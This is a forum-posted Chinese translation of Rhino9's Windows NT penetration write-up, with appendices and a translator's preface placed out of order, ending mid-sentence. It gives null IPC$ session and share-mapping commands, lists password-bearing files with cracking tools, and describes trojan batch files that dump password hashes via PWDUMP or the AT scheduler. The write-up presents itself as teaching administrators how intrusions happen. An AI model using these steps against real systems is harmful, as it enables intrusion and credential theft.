NT LM SECURITY SUPPORT PROVIDER(NT LM安全支援提供者):該服務為舊版本軟體
包提供後向相容性與身份認證幫助。
PLUG AND PLAY(即插即播):用於配置PnP裝置。
REMOTE PROCEDURE CALL LOCATOR AND SERVICES(遠端過程呼叫定位符與服務):
RPC是一個用來封裝通過網路進行的功能呼叫的協議。它的預設配置是自動的和標準的。
該服務會造成很大的安全風險,但由於對該服務的依賴性很大,以至於不能去啟用。
ROUTING AND REMOTE ACCESS SERVICE(路由與遠端訪問服務):這是一個增強
Windows NT功能的後加服務。如果您正在用調變解調器從您的NT系統撥出,該服務應設定
為自動啟用。如果您正在使用它的選路特徵,也應該將它設定為自動啟用。
SCHEDULE(排程):該服務使一個應用程式能夠在預先指定的時間被執行。這樣會造
成嚴重的安全威脅,因為該服務可被用來啟動SYSTEM上下文中的應用。
SERVER(伺服器):是所有伺服器端NetBIOS應用的關鍵所在。沒有這個服務,一些
管理工具如伺服器管理器就不能用。如果不需要對機器的遠端管理或訪問,建議去啟用該
服務。但是在Web伺服器上不需要這個服務。
SPOOLER(假離線程式):該服務用來接受從客戶機發出的列印作業請求,並使本地
系統能夠把作業假離線到網路印表機。該服務應設定為自動啟用。
TCP/IP NETBIOS HELPER(TCP/IP NETBIOS幫助):該服務有助於增強NBT和Net登入
服務。因為Net登入服務應該設定為自動啟用,所以這個服務也應該設定為自動啟用。
TELEPHONY SERVICE(電話服務):該服務用來管理電話驅動程式和撥號屬性。在不
採用任何型別的電話或RAS裝置的系統上,應去啟用這個服務。
UPS:這個服務用在與不間斷電源的序列通訊中。
WORKSTATION(工作站):這個服務是為出站NetBIOS連線提供的。因為它僅用於出站
連線,因此一般沒有安全風險,應設定為自動啟用。
附錄E:URL
==============================================================================
Sid Tools: [url]http://www.technotronic.com/microsoft.html[/url]
Eudpass: [url]http://rhino9.ml.org/wardoc[/url]
1nf0ze: [url]http://rhino9.ml.org/wardoc[/url]
FireFTP: [url]http://rhino9.ml.org/wardoc[/url]
Grinder: [url]http://rhino9.ml.org/software[/url]
Glide: [url]http://rhino9.ml.org/wardoc[/url]
John The Ripper (DES Cracker): [url]http://www.false.com/security/john/index.html[/url]
WS_FTPBug: [url]http://rhino9.ml.org/wardoc[/url]
L0phtCrack (NT Password Cracker): [url]http://www.l0pht.com[/url]
PWDump: [url]http://rhino9.ml.org/wardoc[/url]
NAT: [url]http://www.technotronic.com/microsoft.html[/url]
附錄F:LMHOSTS檔案
==============================================================================
儘管大多數安全專業人士習慣於使用HOSTS檔案,但實際上,WindowsNT是用兩個文字
檔案來解析主機名的。WindowsNT仍然用HOSTS檔案,但它也用LMHOSTS檔案。
LMHOSTS檔案與HOSTS檔案很相象,它也是一個用來解析計算機名字(NetBIOS)的展
開順序文字檔案。另外,LMHOSTS檔案也允許使用者利用關鍵字,這一特徵比HOSTS檔案具有
更大的靈活性。
LMHOSTS檔案用的關鍵字是#PRE、#DOM:域、#i nclude檔名、#BEGIN_ALTERNATE和
#END_ALTERNATE。如果井格線後面的不是這些關鍵字,就被視為評語。
#PRE:在LMHOSTS檔案中,如果一個表目後面跟的是這個關鍵字,它就會通知
WindowsNT把該表目預載入到名字快取記憶體器中。這樣,Windows系統就能更迅速地解析這
個名字。
#DOM:#DOM標籤表目使WindowsNT能夠把該表目和您所指定的任意域聯絡在一起
(即:#DOM:accounting)。這有助於NT更有效地解析特定的名字,因為它不必通過諮詢
選路表來找出該表目所屬的域。
#i nclude:該表目通知WindowsNT去哪裡尋找內建在其它機器上的其它LMHOSTS檔案。
在使用這個功能時,使用者應該指定訪問其它LMHOSTS檔案的UNC路徑。#BEGIN_ALTERNATE和
#END_ALTERNATE都與#i nclude標籤一起使用,並應出現在#i nclude標籤的前後。
象生活中經常會自覺慚愧一樣,敲“譯者序”三個字的時候並非如將盜版光碟插入自
己的CD-ROM一樣心安理得。譯者不是我,是一位對網路並無多大興趣(或者有我不瞭解也
未可知)的文靜女孩。交給我譯稿時她悄悄問我,是不是看懂了這篇文章就可以做Hacker
了?
翻譯此文的初衷是因為自覺為一篇好的技術文章,僅此而已。
最希望此譯文能被對網路安全感興趣的中國少年閱讀、試驗,如果他或她剛好不那麼
精通英文,又剛好通過譯文能夠有所啟發,那我就太安慰了。
考慮過應該將本文放在哪個版,最終決定是因為本文是針對NT作業系統的,也希望大
家能夠多些關注NT、Microsoft以及他們背後的新生代野心家。野心家的心理是有缺陷的
正如他們製造出的軟體產品有缺陷一樣。對待野心家我們除了大聲疾呼之外更應該踏實地
坐下來摸索、實踐和創造真理。
需要英文原創的使用者可訪問:
[url]http://www.hackersclub.com/km/library/hack99/wardoc.txt[/url]
歡迎大家收錄和轉載本文,唯一的請求同樣是保持完整性。如果您發現翻譯錯誤請通
過站內郵件系統和我聯絡。
文章較長正在審稿,我將會盡量連續地貼在本版。
再次對多日面對枯燥文稿的文靜女孩表示謝意。
flaw.
[email]flaw@21cn.com[/email]
WINDOWS NT WARDOC
NEONSURGE與RHIN09研究小組關於遠端NT滲透方法的研究報告
簡介:
==============================================================================
本文是Rhino9小組為證明在攻擊基於NT的網路時所採用的方法而編寫的。目的是加強
管理員和安全專業人士對攻擊者的心理以及目前NT滲透方法的認識。本文是Dan Farmer和
Wietse Venema所著的“如何通過侵入站點來提高站點的安全性(How To Improve The Se
curity Of Your Site by Breaking Into It) ”一文的姊妹篇。
顯而易見,本文不包含所有有關NT網路滲透的方法。我們把有關內容編寫成一篇文
章,使管理員能夠通過它來掌握基本的滲透方法,從而對各自網路的脆弱性進行測試。如
果徹底消化了本文中所涉及到的概念和方法,管理員就能掌握有關滲透如何發生的基礎知
識,並能利用這些知識更有效地保護他們的網路。
本文不適合那些對安全性、NT或連網技術一無所知的人士閱讀。作者認為,本文讀者
應該對協議、伺服器技術和網路體系結構有一定的瞭解。
作者希望繼續對本文進行進一步擴充併發布更新版本。在此,我們衷心地希望所有願
意為這一研究課題作出貢獻的人士把有關滲透測試方法的詳細資料寄給我們。我們將把這
些資料作為最新的可靠來源,以便於及時釋出本文件的更新版本。
請將您的資料寄至:[email]neonsurge@hotmail.com[/email]。
如果您提交的資料的確有價值,我們會及時把它整理到文件中,並給予您適當的稿
酬。
使用
==============================================================================
本文是按照程式上的方式編寫的。我們在編寫過程中力求使本文更象是網路入侵者真
正採取網路滲透方法侵入網路。一旦理解了怎樣做以及為什麼這樣做,您就能輕鬆自如地
實現本文中所探討的各種滲透方法。
本文共分三個章節:NetBIOS、Web伺服器及其它。各章節都對不同的資訊收集與滲透
方法進行了說明。
通過NETBIOS實現資訊收集與滲透
==============================================================================
網路入侵者通常採取的第一步是通過埠掃描程式掃描目標機或網路。令人吃驚的
是,以目標機的開放埠為基礎對網路進行的攻擊是多麼的有條不紊。您應該清楚,除了
Unix機外,這是NT機顯示不同開放埠的標準。網路入侵者懂得檢視埠掃描程式,並通
過相當準確的結果來斷定它是一臺NT機還是一臺Unix機。當然也有一些例外,但一般情況
下都能這樣做。最近,業界釋出了幾個用來遠端鑑別機器的工具,但該功能目前還不能用
於NT。
當攻擊基於NT的網路時,NetBIOS往往是首選的攻擊物件。因此,NetBIOS就成為本文
中第一個要探討的重要課題。
用NetBIOS進行資訊收集相當容易,雖然要花費一點時間。NetBIOS一般被看作是開銷
很大的大容量協議,速度往往很慢,這也就是要耗費時間的原因。
如果埠掃描程式報告埠139在目標機上是開放的,那麼接下來就是一個很自然的
過程。第一步是發出NBTSTAT命令。
NBTSTAT命令可以用來查詢涉及到NetBIOS資訊的網路機器。另外,它還可以用來消除
NetBIOS快取記憶體器和預載入LMHOSTS檔案。這個命令在進行安全檢查時非常有用。
用法:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s]
[interval]
引數-a列出為其主機名提供的遠端計算機名字表。
-A列出為其IP地址提供的遠端計算機名字表。
-c列出包括了IP地址的遠端名字快取記憶體器。
-n列出本地NetBIOS名字。
-r列出通過廣播和WINS解析的名字。
-R消除和重新載入遠端快取記憶體器名字表。
-S列出有目的地IP地址的會話表。
-s列出會話表對話。
NBTSTAT生成的列標題具有以下含義:
Input
接收到的位元組數。
Output
發出的位元組數。
In/Out
無論是從計算機(出站)還是從另一個系統連線到本地計算機(入站)。
Life
在計算機消除名字表快取記憶體表目前“度過”的時間。
Local Name
為連線提供的本地NetBIOS名字。
Remote Host
遠端主機的名字或IP地址。
Type
一個名字可以具備兩個型別之一:unique or group
在16個字元的NetBIOS名中,最後一個位元組往往有具體含義,因為同一個名可以在同
一臺計算機上出現多次。這表明該名字的最後一個位元組被轉換成了16進位制。
State
NetBIOS連線將在下列“狀態”(任何一個)中顯示:
狀態含義:
Accepting: 進入連線正在進行中。
Associated: 連線的端點已經建立,計算機已經與IP地址聯絡起來。
Connected: 這是一個好的狀態!它表明您被連線到遠端資源上。
Connecting: 您的會話試著解析目的地資源的名字-IP地址對映。
Disconnected: 您的計算機請求斷開,並等待遠端計算機作出這樣的反應。
Disconnecting: 您的連線正在結束。
Idle: 遠端計算機在當前會話中已經開啟,但現在沒有接受連線。
Inbound: 入站會話試著連線。
Listening: 遠端計算機可用。
Outbound: 您的會話正在建立TCP連線。
Reconnecting: 如果第一次連線失敗,就會顯示這個狀態,表示試著重新連線。
下面是一臺機器的NBTSTAT反應樣本:
C:>nbtstat –A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
———————————————
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIFQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
您通過下表能掌握有關該機器的哪些知識呢?
名稱編號型別的使用:
00 U 工作站服務
01 U 郵件服務
\_MSBROWSE_ 01 G 主瀏覽器
03 U 郵件服務
06 U RAS伺服器服務
1F U NetDDE服務
20 U 檔案伺服器服務
21 U RAS客戶機服務
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U 調變解調器共享伺服器服務
31 U 調變解調器共享客戶機服務
43 U SMS客戶機遠端控制
44 U SMS管理遠端控制工具
45 U SMS客戶機遠端聊天
46 U SMS客戶機遠端傳輸
4C U DEC Pathworks TCP/IP服務
52 U DEC Pathworks TCP/IP服務
87 U Exchange MTA
6A U Exchange IMC
BE U網路監控代理
BF U網路監控應用
03 U郵件服務
00 G域名
1B U域主瀏覽器
1C G域控制器
1D U主瀏覽器
1E G瀏覽器服務選擇
1C G Internet資訊伺服器
00 U Internet資訊伺服器
[2B] U Lotus Notes伺服器
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan閘道器服務
Unique (U): 該名字可能只有一個分配給它的IP地址。在網路裝置上,一個要註冊的名字
可以出現多次,但其字尾是唯一的,從而使整個名字是唯一的。
Group (G): 一個正常的群;一個名字可以有很多個IP地址。
Multihomed (M): 該名字是唯一的,但由於在同一臺計算機上有多個網路介面,這個配置
可允許註冊。這些地址的最大編號是25。
Internet Group (I): 這是用來管理WinNT域名的組名字的特殊配置。
Domain Name (D): NT 4.0提供的新內容。
網路入侵者可以通過上表和從nbtstat獲得的輸出資訊開始收集有關您的機器的資訊。
有了這些資訊,網路入侵者就能在一定程度上斷定有哪些服務正在目標機上執行,有時也
能斷定已經安裝了哪些軟體包。
從傳統上講,每個服務或主要的軟體包都具有一定的脆弱性,因此,這一型別的資訊
對網路入侵者當然有用。
第二個邏輯步驟是通過遠端機收集可能的使用者名稱。網路登入包括兩個部分:使用者名稱和
口令。一旦網路入侵者掌握了有效的使用者列表,他就能獲得一半的有效登入資訊。現在,
採用了nbtstat命令,網路入侵者就能掌握從本地註冊到該臺機器上的任何人的登入名。
在通過nbtstat命令得到的結果中,採用<03>識別符的表目是使用者名稱或機器名。另外,還
可以通過空IPC會話和SID工具來收集使用者名稱(詳細內容見“SID工具”,附錄B)。
IPC$(程式間通訊)共享是NT主機上一個標準的隱藏共享,主要用於伺服器到伺服器
的通訊。NT主機用來互相連線並通過這個共享來獲得各種必要的資訊。鑑於在各種操作系
統中都有很多設計特徵,網路入侵者已經懂得利用這種特徵來達到他們的目的。通過連線
這個共享,網路入侵者從技術上就能夠實現與您的伺服器的有效連線。通過與這個共享的
空連線,網路入侵者就能夠在不需要提供任何身份證明的情況下建立這一連線。
要與IPC$共享進行空連線,網路入侵者就在命令提示符下發出如下命令:
c:>net use \[目標主機的IP地址]ipc$ “” /user:””
如果連線成功,網路入侵者就會有很多事情要做,而不是收集使用者列表,不過他是以
收集使用者列表開始的。如上所述,這個方法需要一個空IPC會話和SID工具。由
Evgenii Rudnyi編寫的SID工具包括兩個不同的部分:User2sid和Sid2user。User2sid採
用一個帳戶名字或群組,給您一個對應的SID。而Sid2user採用一個SID,給您對應的使用者
或群組的名字。作為一個獨立的工具,這個程式是手工進行的,要消耗大量的時間。
Userlist.pl是Mnemonix編寫的一個perl指令碼,它將使這個SID程式自動化,從而大大
縮短網路入侵者收集這些訊息所花費的時間。
這時,網路入侵者就會了解到哪些服務正在遠端機上執行以及已經安裝了哪些主要的
軟體包(有限的),同時還能得到該機器上有效的使用者名稱和群組列表。儘管這似乎是一個
外來者所要掌握的有關您的網路的資訊,但是,空IPC會話已經為資訊收集留下了其它隱
患。目前,Rhino9小組已經能夠檢索遠端機的全部固有安全約束規則。帳戶封鎖、最小口
令長度、口令使用週期、口令唯一性設定以及每一個使用者、他們所歸屬的群組以及該使用者
的個人域限制等所有資訊都可以通過一個空IPC會話獲得。這個資訊收集功能將在近期發
布的Leviathan工具(由Rhino9小組編寫)中提供。下面將對目前可用的一些工具進行探
討,這些工具可用來通過空IPC會話收集更多的資訊。
有了這個空IPC會話,網路入侵者也能獲得網路共享列表,否則就無法得到。為此,
網路入侵者希望瞭解到在您的機器上有哪些可用的網路共享。為了收集到這些資訊,要採
用下列這個標準的net view命令:
c:>net view \[遠端主機的IP地址]
根據目標機的安全約束規則,可以拒絕或不拒絕這個列表。舉例如下(因某種原因IP
地址已省略):
C:>net view \0.0.0.0
System error 5 has occurred.
Access is denied.
C:>net use \0.0.0.0ipc$ “” /user:””
The command completed successfully.
C:>net view \0.0.0.0
Shared resources at \0.0.0.0
Share name Type Used as Comment
——————————————————————————-
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
正如您所看到的,該伺服器上的共享列表在建立了空IPC會話後才可用。這時,您就
會意識到這個IPC連線有多麼的危險,但我們現在已經掌握的IPC方法實際上是很基本的方
法。與IPC共享一起出現的可能性還有待進一步研究。
WindowsNT 4.0資源工具的釋出使得象管理員和網路入侵者這樣的人能夠用到新的工
具。下面對一些資源工具實用程式進行描述。Rhino9小組運用這些實用程式與IPC$空會話
一起收集資訊。當您閱讀這些工具的描述以及它們所提供的資訊時,請記住:所採用的空
會話不向遠端網路提供任何真實的身份證明。
UsrStat: 這個命令列實用程式顯示特定域中各個使用者的使用者名稱、全名以及最後一次登
錄的日期和時間。下面是根據遠端網路通過一個空IPC會話採用這個工具進行的實際剪下和
貼上:
C:NTRESKIT>usrstat domain4
Users at \STUDENT4
Administrator – – logon: Tue Nov 17 08:15:25 1998
Guest – – logon: Mon Nov 16 12:54:04 1998
IUSR_STUDENT4 – Internet Guest Account – logon: Mon Nov 16 15:19:26 1998
IWAM_STUDENT4 – Web Application Manager account – logon: Never
laurel – – logon: Never
megan – – logon: Never
我們現在來探討一下整個俘獲過程是怎麼樣發生的,以便於加深讀者的理解。在真正
的攻擊發生前,把一個對映放到通過#PRE/#DOM標記對映Student4機器及其域活動狀態的
lmhosts檔案中(下面詳述)。然後把表目預載入到NetBIOS快取記憶體器中,同時建立一個
空IPC會話。正如您所看到的,這個命令是根據域名發出的。最後,該工具會向主域控制
器查詢這個域。
global: 這個命令列實用程式顯示遠端伺服器或域上全域性群組的成員。如上所述,這個實
用程式是與Lmhosts/IPC對映一起使用的。下面是這個global工具的實際俘獲。在這個例
子中,“域使用者”是WindowsNT域中出現的標準預設全域性群組。我們在此採用這個工具向
Domain1查詢“域使用者”群組中所有使用者的列表。
C:>global “Domain Users” domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY
local: local工具象global工具一樣操作,不同之處是,它向機器查詢本地群組的成
員,而不是全域性群組的成員。下面是local工具向伺服器查詢其管理員群組列表的例子。
C:>local “administrators” domain1
Bob
Domain Admins
Bill
NetDom:NetDom是一個向伺服器查詢它在域中的角色以及向機器查詢其PDC的工具。另外,
NetDom工具還與Lmhosts/IPC對映協同工作。下面是該工具的俘獲資訊及其標準輸出:
Querying domain information on computer \SPUPPY…
The computer \SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4…
Found PDC \SPUPPY
The computer \SPUPPY is the PDC of DOMAIN4.
NetWatch:NetWatch是一個向呼叫該工具的使用者提供遠端機上的共享列表的工具。同樣,
這個工具也能與Lmhosts/IPC對映一起使用。這個工具的缺點是,人們能夠利用該工具來
檢索遠端機上的隱藏共享列表(Rhino9小組已經測試過)。
其它涉及到IPC共享的滲透方法包括開啟遠端機的登錄檔以及遠端域使用者管理器。空
IPC連線使網路入侵者能夠對您的登錄檔進行訪問。一旦建立了空IPC會話,網路入侵者就
能啟用其本地登錄檔編輯器實用程式,並嘗試連線網路登錄檔選項。如果嘗試成功,入侵
者就會對一定的登錄檔鍵具有隻讀訪問許可權,甚至是讀/寫許可權。無論如何,就算對註冊
表只有只讀訪問許可權,從安全形度來講這也是非常有害的。
另外,網路入侵者還會利用IPC域使用者管理器方法。這個方法鮮為人知。我們在這裡
涉及到這個問題是因為它是一個非常有效的入侵方法。這個方法涉及到一個空IPC會話和
輸入LMHOSTS檔案的表目。LMHOSTS檔案(在一般情況下)是一個儲存在基於Windows的機
器上的本地檔案,用於把NetBIOS名字對映到IP地址。LMHOSTS檔案主要用在非WINS環境中
或者不能使用WINS的客戶機上,而實際上,網路入侵者可以通過很多種不同的方式來使用
這個檔案。我們將在下文中對LMHOSTS檔案的不同使用方法進行探討。現在我們對如何在
這個方法中使用LMHOSTS檔案進行論述。
這是一個絕妙的方法,因為它能說明如何把前面介紹的方法與這個方法結合起來使用
從而達到網路入侵者的目的。我們先從埠掃描程式開始,假設埠139是開放的,攻擊
者就會發出一個nbtstat命令。然後,他會通過nbtstat結果收集遠端機的NetBIOS名字。
讓我們來看看得出的nbtstat結果,與前面的結果相同:
C:>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
———————————————
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
通過檢查nbtstat命令的結果,我們可以找到<03>識別符。如果有人從本地登入到該
機器上,您就會看到兩個<03>識別符。在一般情況下,第一個<03>識別符是機器的
netbios名字,第二個<03>識別符是本地登入使用者的名字。這時,網路入侵者就會把這臺
機器的netbios名字和IP地址對映放到他本地的LMHOSTS檔案中,用#PRE和#DOM標籤終止表
目。#PRE標籤表示應該把表目預載入到netbios快取記憶體器中。#DOM標籤表示域活動。這
時,網路入侵者就會發出一個nbtstat –R命令,把表目預載入到他的快取記憶體器中。從
技術角度來講,這個預載入會使表目看起來好象已經由一些網路功能解析過,並使名字解
析起來更加快捷。
下一步,網路入侵者會建立一個空IPC會話。一旦成功地建立了空IPC會話,網路入侵
者就能啟用域使用者管理器的本地拷貝,並在使用者管理器中利用選擇域功能。接著,遠端機
的域就會出現(或者能夠人工輸入),因為它已經被預載入到快取記憶體器中。如果遠端機
的安全性沒有保障,使用者管理器就會顯示遠端機上所有使用者的列表。如果這是通過一個很
緩慢的連結(如28.8K調變解調器)來進行的,那麼在一般情況下就不會起作用。但如果
採用較快的網路連線,就會有成效。
既然網路入侵者已經收集到有關您的機器的資料,下一步就是真正滲透您的機器。我
們要探討的第一個滲透方法是公開檔案共享攻擊。網路入侵者會把前面提到的net view命
令和net use命令結合起來實現這一攻擊。
我們採用前面的net view命令對網路入侵者的攻擊進行論述:
C:> net view \0.0.0.0
Share name Type Used as Comment
——————————————————————————-
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
一旦攻擊者掌握了遠端共享列表,他就會試著對映到遠端共享。這一攻擊的命令結構
是:
c:>net use x: \0.0.0.0inetpub
只有當共享不設密碼或分配給everyone群組時這一攻擊才有效(注:everyone群組表
示每個人。如果有人作為空使用者連線,他們現在就是everyone群組的組成部分)。如果這
些引數都正確,攻擊者就能把網路驅動器對映到您的機器上並開始一系列的滲透攻擊。請
記住:網路入侵者並不侷限於把驅動器對映到通過net view命令顯示出來的共享上。瞭解
NT的網路入侵者都知道NT隱藏了管理共享。根據預設值,NT為該機器上的每一個驅動器都
建立IPC$共享和一個隱藏共享(即:一臺有C、D和E驅動器的機器會有對應的C$、D$和E$
的隱藏共享)。另外,還有一個直接對映到NT安裝路徑的隱藏ADMIN$共享(即:如果您把
NT安裝在C:winnt目錄下,ADMIN$就對映到該驅動器的確切位置)。Rhino9小組已經注意
到,大多數NT安全界人士似乎都不大重視這個從一臺內部NT機滲透另一臺內部NT機的概
念。在我們的專業檢查過程中,Rhino9小組已經多次完成了這項任務。問題是,如果網路
入侵者是有心的並能得到對您的一臺機器的訪問許可權,他就會悄悄地潛入其餘的網路機
器。因此,這些共享攻擊會造成嚴重的威脅。
(旁註:Rhino9小組曾經對位於佛羅里達州的一家大型ISP進行遠端滲透檢查。我們
先得到其技術人員個人機器上的共享訪問許可權,然後從那裡得到整個網路的訪問許可權。這
是完全可以辦到的。)
首先,有些人可能不會意識到有人在訪問您的硬碟時對您的機器所造成的危險。訪問
硬碟為收集資訊和安放特洛伊木馬/病毒提供了新的途徑。一般情況下,攻擊者會尋找包
含有口令或高度敏感的資料的內容,因為他能利用這些資料來繼續深入您的網路。下面列
出的是網路入侵者要尋找和利用的一些檔案。我們對每一個檔案及其使用方法都進行了簡
要的介紹。
Eudora.ini: 這個檔案用來儲存支援eudora電子郵件軟體的配置資訊。被稱為
eudpass.com的工具會提取個人使用者名稱、口令資訊以及網路入侵者需要用來竊取使用者郵件
的所有資訊。這時,入侵者可以通過配置自己的電子郵件軟體來閱讀目標郵件。同樣,有
些人要花很長時間才能意識到這一危險的存在。但是,要記住,在一般情況下,人都會很
容易地養成習慣的。使用者的電子郵件口令與他們用來登入到網路的口令在大多數情況下都
是相同的。現在攻擊者要做的就是不斷地窺探使用者的硬驅,尋找能為他指出該使用者業務場
所的使用者簡歷或一些與工作相關的其它文件,從而使他能夠對網路發動強大的攻勢。
Tree.dat: 這是一個由通用軟體CuteFTP用來儲存使用者ftp站點/使用者名稱/口令的檔案。
利用一個稱為FireFTP的程式,攻擊者就能輕易地破解tree.dat檔案。這樣,如上所述,
他能不斷地收集有關您的資訊並對您的業務場所發起攻擊。顯而易見,如果您在
tree.dat中有一個直接到您業務場所的ftp對映,那麼他就能更容易地攻擊您的網路。
PWL: PWL一般內建在Win95機上。它們用來為Windows95終端使用者儲存操作特有的口
令。一個稱為glide.exe的工具會破壞PWL檔案。另外還有一些介紹如何用計算器人工破壞
這些PWL檔案加密的文件。接下來,攻擊者會繼續收集有關使用者的資訊並擬訂攻擊方案。
PWD: PWD檔案在執行FrontPage或Personal Webserver的機器上。這些檔案包括純文
本使用者名稱和一個與用來管理Web站點的身份證明資料相匹配的加密口令。用於這些口令的
加密方案是標準的DES方案。眾所周知,在internet上提供有很多破壞實用程式的DES。
Solar Designer編寫的John the Ripper能非常有效的破壞這些口令。
WS_FTP.ini: 這個ini檔案在使用ws_ftp軟體的機器上。儘管適用於這個檔案的自動
口令析取字最近才被推薦給安全界,但所採用的加密機制還不夠強壯。口令是被轉換成十
六進位制數(2位)的。如果一個數字在N位置,那麼N就被增加到該數字上。反向操作就會
破壞這個加密方案。
(這種方法有時也可破壞PMail.ini–Pegasus Mail和Prefs.js–Netscape。)
IDC檔案:IDC(internet資料庫連線符)檔案一般用於從web伺服器到資料庫的後端
連線。因為這種型別的連線一般都需要身份認證,所以,一些IDC檔案包含有純文字的用
戶名/口令。
waruser.dat: 這是適用於通用Win32 FTP伺服器——WarFTP的配置檔案。這個特殊
的dat檔案可包含FTP伺服器本身的管理口令。根據作者掌握的資料,這種情況僅在
WarFTP 1.70版中發生。
$winnt$.inf:在WindowsNT的獨立安裝過程中,安裝程式需要資訊檔案。作為這個
獨立安裝程式的殘餘資料,有一個稱為$winnt$.inf的檔案位於%systemroot%system32
目錄下。這個檔案可包含有在安裝過程中要使用的帳戶的使用者名稱/口令。因為在這些型別
的安裝中所使用的帳戶一般都需要網路上的允許許可權設定,所以這是一件很重要的事。
Sam._:儘管人們很早就知道如果SAM資料庫被心懷叵測的人所利用就會出現問題,
但很多人都不記得這個sam._檔案了。如果入侵者能夠通過網路安裝驅動器,那該如何拷
貝SAM資料庫呢?一般情況下這是不大可能的,因為您所連線的NT伺服器正在執行。當NT
伺服器正在執行時,它會鎖定SAM。不過,如果管理員已經建立了一個緊急修復盤,SAM的
拷貝就應該位於%systemroot%
epair目錄下。這個檔案將命名為sam._。根據預設值,
這個拷貝是人人都可讀取的。通過利用samdump實用程式的拷貝,您就能從複製的SAM中轉
儲使用者名稱/口令。
ExchVerify.log:這個ExchVerify.log檔案是由Cheyenne/Innoculan/ArcServe生成
的。一般情況下,它是通過安裝Cheyenne/Innoculan/ArcServe軟體生成的,內建在進行
軟體安裝的驅動器的根目錄下。這個檔案可包含有極其敏感的資訊,如下所示:
: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]
很明顯,這個檔案包含有入侵者用來進一步破壞您的網路完整性的資訊。
Profile.tfm:Profile.tfm是一個由POP3客戶機軟體AcornMail生成的檔案。在撰寫
本文時,AcornMail開始引起internet界的廣泛關注。在檢測該軟體時,我們發現它是一
個很有效的POP3客戶機,但其安裝並不很好地相容NTFS。在安裝完該軟體後,我們開始檢
查AcornMail生成的檔案,發現Profile.tfm檔案儲存有使用者名稱/口令。一開始,我們斷定
該軟體完全正常,因為它確實以加密的形式儲存口令。接著,我們意識到profile.tfm的
允許許可權被設定為Everyone/完全控制。這樣就有了問題,因為任何人都能得到該檔案的
一個拷貝並把這個檔案插入他們自己的AcornMail安裝程式中。然後,入侵者就能用已存
儲的資訊來登入。下面是網路監測器中的俘獲資訊:
00000000 00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg………E.
00000010 00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=….b.S.6
00000020 DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 …n.D…..2Q.P.
00000030 22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F “8d…+OK.Passwo
00000040 72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.for.
00000050 68 6B 69 72 6B 2E 0D 0A jjohn…
00000000 98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ……..pLg…E.
00000010 00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 .6..@….A.6…b
00000020 C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q…..P.
00000030 21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !…..PASS.xerox
00000040 37 33 0D 0A 63..
如您所看到的,使用者名稱/口令確實是用純文字傳送的。這不是AcornMail的錯,但是在
POPvX中已經有問題出現。這個“資料”檔案對換/包取樣的方法已經由Rhino9小組在大量
的軟體上測試過,因此,這一攻擊並不侷限於AcornMail。
我們已經對入侵者想要得到的檔案(如果獲得對您的硬驅的訪問許可權)進行了探討,
現在我們就來討論一下安放特洛伊木馬。如果有一種方法能使攻擊者獲得大量的資訊,那
就是安放特洛伊木馬。公開的檔案共享攻擊一般都會為安放特洛伊木馬提供方便。在最容
易安放和最廣為人知的特洛伊木馬中,有一個是捆綁在批處理檔案中的PWDUMP實用程式。
如果準備妥當,這個批處理檔案就會最小化執行(也被稱為聰明的檔案,如viruscan.cmd
),然後再執行PWDUMP實用程式,在執行了它的程式後刪除PWDUMP實用程式,並最終刪去
檔案本身。它一般都不會留下證據,並會在該臺機器上生成一個完美的所有使用者名稱/口令
的文字檔案。
“遊戲”規則:目標必須是NT主機,執行特洛伊木馬程式的終端使用者必須是管理員,
這樣,攻擊者就能把批處理檔案放在管理員啟動資料夾中,開始等待。當下一次管理員登
錄到機器上時,批處理檔案就執行和轉儲使用者名稱/口令。然後,攻擊者就會通過檔案共享
連線到該機器上並收集結果。
入侵者可能嘗試的另一個可靠的攻擊方法是把按鍵記錄器批處理檔案放到啟動資料夾
中。這種方法可適用於任何使用者,不僅僅是管理員。這樣即可收集所有該使用者發出的按鍵
資訊,但沒有最初的登入身份資料(這是NT的結構所致,它會在登入過程中終止所有使用者
方式程式)。然後,攻擊者就可以連線到目標機上並收集記錄下的按鍵資訊。
最致命的特洛伊木馬攻擊之一就是一個以管理員的身份執行並採用AT命令建立預定事
件的批處理檔案。因為AT命令能作為系統執行,所以,它能生成SAM資料庫和登錄檔的拷
貝。可以想象得出攻擊者採用這種方法時會享受到多麼大的樂趣。
如何防止此類攻擊呢?不要把檔案共享給Everyone群組,並在您的環境中加強口令機
制。如果入侵者遇到一臺每次都要向他提示輸入身份證明資訊的伺服器,入侵者就會變得
